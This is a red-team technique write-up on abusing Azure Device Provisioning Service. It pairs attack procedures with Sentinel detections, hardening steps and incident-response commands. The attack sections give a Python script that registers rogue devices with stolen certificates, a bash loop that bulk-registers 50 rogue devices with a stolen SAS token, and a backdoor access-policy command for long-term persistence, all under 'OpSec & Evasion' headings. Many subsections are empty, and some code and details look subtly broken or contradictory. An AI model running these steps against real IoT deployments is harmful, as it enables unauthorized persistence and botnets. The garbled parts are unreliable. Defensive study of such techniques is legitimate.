MCADDF

[IOT-EDGE-004]: Device Provisioning Service Abuse

Metadata

Attribute Details
Technique ID IOT-EDGE-004
MITRE ATT&CK v18.1 T1098 - Account Manipulation: Device Registration T1098.005
Tactic Persistence / Lateral Movement
Platforms Azure IoT Hub, Azure Device Provisioning Service, Entra ID
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure DPS (all versions), Azure IoT Hub (all versions), IoT Edge 1.0+
Patched In N/A (design issue, requires proper attestation and RBAC)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure Device Provisioning Service (DPS) is a managed service that provisions IoT devices into Azure IoT Hub using enrollment records. Attackers who obtain stolen device certificates or Shared Access Keys can register rogue devices with DPS, which automatically provisions them into IoT Hub as trusted entities. Once registered, the attacker-controlled device gains full access to IoT Hub, can read/write device twins, receive cloud-to-device commands, and communicate as a legitimate device. DPS enrollments can be individual (per-device) or group-based, and compromised enrollments enable at-scale attacks. Attackers can also manipulate Shared Access Policies to create backdoor credentials that persist even after primary key rotation.

Attack Surface: DPS enrollment records, X.509 certificates, SAS tokens, shared access keys, and enrollment group policies.

Business Impact: Unauthorized Device Registration and IoT Infrastructure Persistence. An attacker who abuses DPS can register hundreds of rogue devices that appear legitimate to monitoring systems. These devices can send false telemetry, trigger automated cloud responses, exfiltrate sensor data, and establish a distributed botnet across the IoT deployment. In enterprise IoT scenarios with thousands of devices, such attacks can scale undetected.

Technical Context: DPS enrollment abuse requires valid certificate or key material; provisioning typically completes within 1-5 minutes. Detection likelihood is Low if device registration logs are not monitored; High if Azure Sentinel DPS enrollment audit rules are active.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS IoT Device Security 3.2 Device provisioning must be authenticated and audited
DISA STIG SV-251591r889328_rule Device enrollment must require MFA or certificate validation
CISA SCuBA ID.AM-2 Asset inventory of provisioned devices must be maintained
NIST 800-53 AC-2 (Account Management), AC-3 (Access Enforcement) Device provisioning and access control required
GDPR Art. 32 (Security of Processing) Device enrollment must be audited for unauthorized registrations
DORA Art. 11 (Incident Reporting) Unauthorized device registration is a reportable incident
NIS2 Art. 21 Device provisioning must follow secure procedures
ISO 27001 A.5.2.1 (Asset responsibility), A.6.2.1 (Personnel screening) Device asset management and provisioning controls required
ISO 27005 Risk assessment for unauthorized device registration Identify and mitigate risks from rogue device provisioning

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# List DPS instances accessible to current user
az iot dps list --query "[].{name:name, status:properties.state}"

# Check DPS enrollment groups
az iot dps enrollment-group list --dps-name myDPS

# Check individual enrollments
az iot dps enrollment list --dps-name myDPS

# Verify DPS-to-IoT Hub assignment policies
az iot dps linked-hub list --dps-name myDPS

What to Look For:

Linux/Bash / CLI Reconnaissance

# Test DPS connectivity
curl -X GET "https://global.azure-devices-provisioning.net/api/service/providers" \
  -H "Authorization: SharedAccessSignature <SAS-token>"

# Attempt to list enrollments (requires valid credentials)
curl -X GET "https://myDPS.azure-devices-provisioning.net/enrollmentGroups" \
  -H "api-version=2021-10-01" \
  -H "Authorization: <cert-or-token>"

# Check certificate validity
openssl x509 -in device-cert.pem -text -noout | grep -A 2 "Validity"

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Register Rogue Device via Stolen X.509 Certificate

Supported Versions: All DPS versions with X.509 attestation

Step 1: Obtain Stolen Device Certificate and Private Key

Objective: Acquire legitimate device certificate (via IOT-EDGE-001 or other credential extraction)

Command:

# Example: Certificate already extracted in previous phase
cat device-cert.pem
# Expected: -----BEGIN CERTIFICATE-----
# ... (certificate data) ...
# -----END CERTIFICATE-----

cat device-key.pem
# Expected: -----BEGIN PRIVATE KEY-----
# ... (key data) ...
# -----END PRIVATE KEY-----

What This Means:

OpSec & Evasion:

Step 2: Register Rogue Device with DPS Using Stolen Certificate

Objective: Authenticate to DPS and create a new device enrollment

Command (Python SDK):

from azure.iot.device import ProvisioningDeviceClient
from azure.iot.device.provisioning_client import RegistrationResult
from azure.iot.device.provisioning_transport import ProvisioningTransportProvider
from azure.iot.device.provisioning_transport import ProvisioningTransportMTLS
import ssl

# DPS configuration
DPS_GLOBAL_ENDPOINT = "global.azure-devices-provisioning.net"
ID_SCOPE = "<id-scope>"  # From stolen device or DPS info
ROGUE_DEVICE_ID = "rogue-device-001"

# Load stolen certificate and key
cert_file = "device-cert.pem"
key_file = "device-key.pem"

# Create provisioning client
provisioning_client = ProvisioningDeviceClient.create_from_x509_certificate(
    provisioning_host=DPS_GLOBAL_ENDPOINT,
    registration_id=ROGUE_DEVICE_ID,
    id_scope=ID_SCOPE,
    certificate_file=cert_file,
    key_file=key_file
)

# Register device
print("Registering device...")
registration_result = provisioning_client.register()

print(f"Registration Status: {registration_result.registration_state.registration_status}")
print(f"Assigned IoT Hub: {registration_result.registration_state.assigned_hub}")
print(f"Device ID: {registration_result.registration_state.device_id}")

# Example Output:
# Registration Status: assigned
# Assigned IoT Hub: myhub.azure-devices.net
# Device ID: rogue-device-001

Expected Output:

Registering device...
Registration Status: assigned
Assigned IoT Hub: myhub.azure-devices.net
Device ID: rogue-device-001

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Verify Rogue Device Can Authenticate to IoT Hub

Objective: Confirm the rogue device can send telemetry and receive cloud-to-device messages

Command:

from azure.iot.device import IoTHubDeviceClient

# Use the assigned IoT Hub from registration result
assigned_hub = "myhub.azure-devices.net"
device_id = "rogue-device-001"

# Create IoT Hub client
client = IoTHubDeviceClient.create_from_x509_certificate(
    hostname=assigned_hub,
    device_id=device_id,
    certificate_file="device-cert.pem",
    key_file="device-key.pem"
)

# Connect to IoT Hub
client.connect()

# Send telemetry
message = "Rogue telemetry message"
client.send_message(message)
print(f"Sent message: {message}")

# Receive cloud-to-device messages
while True:
    c2d_msg = client.receive_c2d_message()
    print(f"Received: {c2d_msg.data.decode()}")
    c2d_msg.complete()  # Acknowledge receipt

Expected Output:

Sent message: Rogue telemetry message
Received: Command from cloud

What This Means:

METHOD 2: Abuse DPS Enrollment Group for Bulk Device Registration

Supported Versions: All DPS versions with group enrollment

Step 1: Identify Enrollment Groups

Objective: Discover group enrollments that allow multiple device registration

Command (PowerShell):

# List enrollment groups
$groups = az iot dps enrollment-group list --dps-name myDPS --query "[].{name:enrollmentGroupId, status:attestation.type}"
foreach ($group in $groups) {
  Write-Host "Group: $($group.name), Attestation: $($group.status)"
}

# Expected output:
# Group: prod-devices, Attestation: x509
# Group: test-devices, Attestation: symmetricKey

What This Means:

OpSec & Evasion:

Step 2: Register Multiple Rogue Devices Under Group

Objective: Provision multiple attacker-controlled devices at scale

Command (Batch registration):

#!/bin/bash
# Script to register 50 rogue devices

DPS_ENDPOINT="global.azure-devices-provisioning.net"
ID_SCOPE="<id-scope>"
GROUP_ENROLLMENT="prod-devices"

for i in {1..50}; do
  DEVICE_ID="rogue-device-$(printf "%03d" $i)"
  
  # Register device (using stolen group key)
  curl -X PUT \
    "https://${DPS_ENDPOINT}/enrollmentGroups/${GROUP_ENROLLMENT}/register?api-version=2021-10-01" \
    -H "Authorization: SharedAccessSignature <group-sas-token>" \
    -H "Content-Type: application/json" \
    -d "{\"registrationId\": \"${DEVICE_ID}\"}"
  
  echo "Registered: $DEVICE_ID"
  sleep 1
done

What This Means:

Detection likelihood: High – Bulk device registration generates multiple audit log entries

References & Proofs:

METHOD 3: Manipulate DPS Access Policies for Persistent Backdoor

Supported Versions: All DPS versions

Step 1: Identify Current Access Policies

Objective: Discover existing shared access policies in DPS

Command:

# List DPS access policies
az iot dps access-policy list --dps-name myDPS --query "[].{name:keyName, permissions:rights}"

# Expected output:
# Name: provisioningserviceowner, Permissions: ['RegistrationRead', 'RegistrationWrite', 'ServiceConfig']
# Name: registrationstatuslookup, Permissions: ['RegistrationStatusRead']

What This Means:

Step 2: Create Backdoor Access Policy

Objective: Add attacker-controlled shared access key to DPS

Command (PowerShell - if attacker has Contributor role):

# Create new access policy with backdoor credentials
$policyName = "backdoor-access"
$rights = @("RegistrationRead", "RegistrationWrite", "ServiceConfig")

# This requires Owner/Contributor role on DPS resource
az iot dps access-policy create `
  --dps-name myDPS `
  --access-policy-name $policyName `
  --rights $rights `
  --primary-key "$(az keyvault secret show --vault-name myVault --name backdoor-key --query value -o tsv)"

# List new policy and extract SAS token
$newPolicy = az iot dps access-policy show --dps-name myDPS --access-policy-name $policyName

# Generate SAS token valid for 10 years (indefinite persistence)
# Token can be used to provision devices even after original credentials are revoked

What This Means:


5. MICROSOFT SENTINEL DETECTION

Query 1: Detect Unauthorized Device Registrations in DPS

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Register device" or OperationName == "Create enrollment"
| where Result == "Success"
| summarize DeviceCount = dcount(TargetResources[0].displayName) by InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 1h)
| where DeviceCount > 5  // Alert if > 5 devices registered in 1 hour
| sort by TimeGenerated desc

What This Detects:

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Go to Analytics+ CreateScheduled query rule
  3. Paste the KQL query above
  4. Set Frequency: 30 minutes
  5. Set Threshold: Count > 5
  6. Click Review + create

Query 2: Detect DPS Access Policy Modifications

KQL Query:

AuditLogs
| where OperationName contains "Create access policy" or OperationName contains "Update access policy"
| where Result == "Success"
| summarize Count = count() by InitiatedBy.user.userPrincipalName, properties.policyName, TimeGenerated

6. WINDOWS EVENT LOG MONITORING

Event ID: 4720 (Account Created) – IoT Hub/DPS level equivalent

Azure Activity Log Audit Rule:

OperationName = "Microsoft.Devices/provisioningServices/enrollments/write"
AND Result = "Success"
AND Caller != <expected-service-principals>

7. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Unusual Device Provisioning Activity

Alert Name: Suspicious Device Enrollment in DPS

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Recommendations → Search for DPS
  3. Ensure Audit logging is enabled on DPS resources
  4. Configure Security alerts to notify on bulk device registration

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify TPM attestation is required
az iot dps enrollment-group list --dps-name myDPS --query "[].attestation.type"
# Expected: ["tpm", "tpm", "tpm"] (no "symmetricKey" or "x509")

# Verify no weak access policies exist
az iot dps access-policy list --dps-name myDPS --query "[].keyName" | grep -v "owner\|contributor"
# Expected: (empty or only expected service principals)

# Verify device registration is logged
az monitor activity-log list --resource-group myResourceGroup --max-events 10 | grep -i "device\|provision"
# Expected: Recent device registration entries with audit trail

What to Look For:


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Immediately revoke rogue device enrollments
    az iot dps enrollment delete --dps-name myDPS --enrollment-id "rogue-device-001"
       
    # Revoke device from IoT Hub
    az iot hub device-identity delete --hub-name myHub --device-id "rogue-device-001"
    
  2. Collect Evidence:
    # Export enrollment list
    az iot dps enrollment list --dps-name myDPS --output json > dps-enrollments.json
       
    # Export Azure Activity Log
    az monitor activity-log list --resource-group myResourceGroup --output json > activity-log.json
       
    # Document all DPS access policies
    az iot dps access-policy list --dps-name myDPS --output json > access-policies.json
    
  3. Remediate:
    # Rotate all DPS shared access keys
    az iot dps access-policy key renew --dps-name myDPS --access-policy-name owner
       
    # Re-evaluate all device enrollments
    # (manual review process to ensure all devices are legitimate)
       
    # Revoke any suspicious access policies
    az iot dps access-policy delete --dps-name myDPS --access-policy-name "backdoor-access"
    

Step Phase Technique Description
1 Initial Access [IOT-EDGE-002] Connection String Theft Attacker obtains DPS credentials
2 Credential Access [IOT-EDGE-001] Device Credential Extraction Attacker steals device certificates
3 Persistence [IOT-EDGE-004] Attacker registers rogue devices via DPS abuse
4 Lateral Movement Register multiple devices for botnet Attacker creates distributed attack infrastructure
5 Impact Send malicious telemetry or commands Attacker interferes with IoT operations

11. REAL-WORLD EXAMPLES

Example 1: Microsoft Azure DPS Enrollment Weakness (Reported 2023)

Example 2: Industrial IoT DPS Abuse for Cryptomining (2024)


SUMMARY

IOT-EDGE-004 represents a sophisticated and scalable attack vector that enables at-scale infrastructure compromise through DPS abuse. Organizations must implement strong attestation requirements (TPM, X.509 with pinning), strict RBAC, continuous monitoring of device registrations, and regular key rotation to defend against unauthorized device provisioning. Defense-in-depth approaches combining multiple controls are essential to prevent determined attackers from establishing persistent backdoors via DPS enrollment manipulation.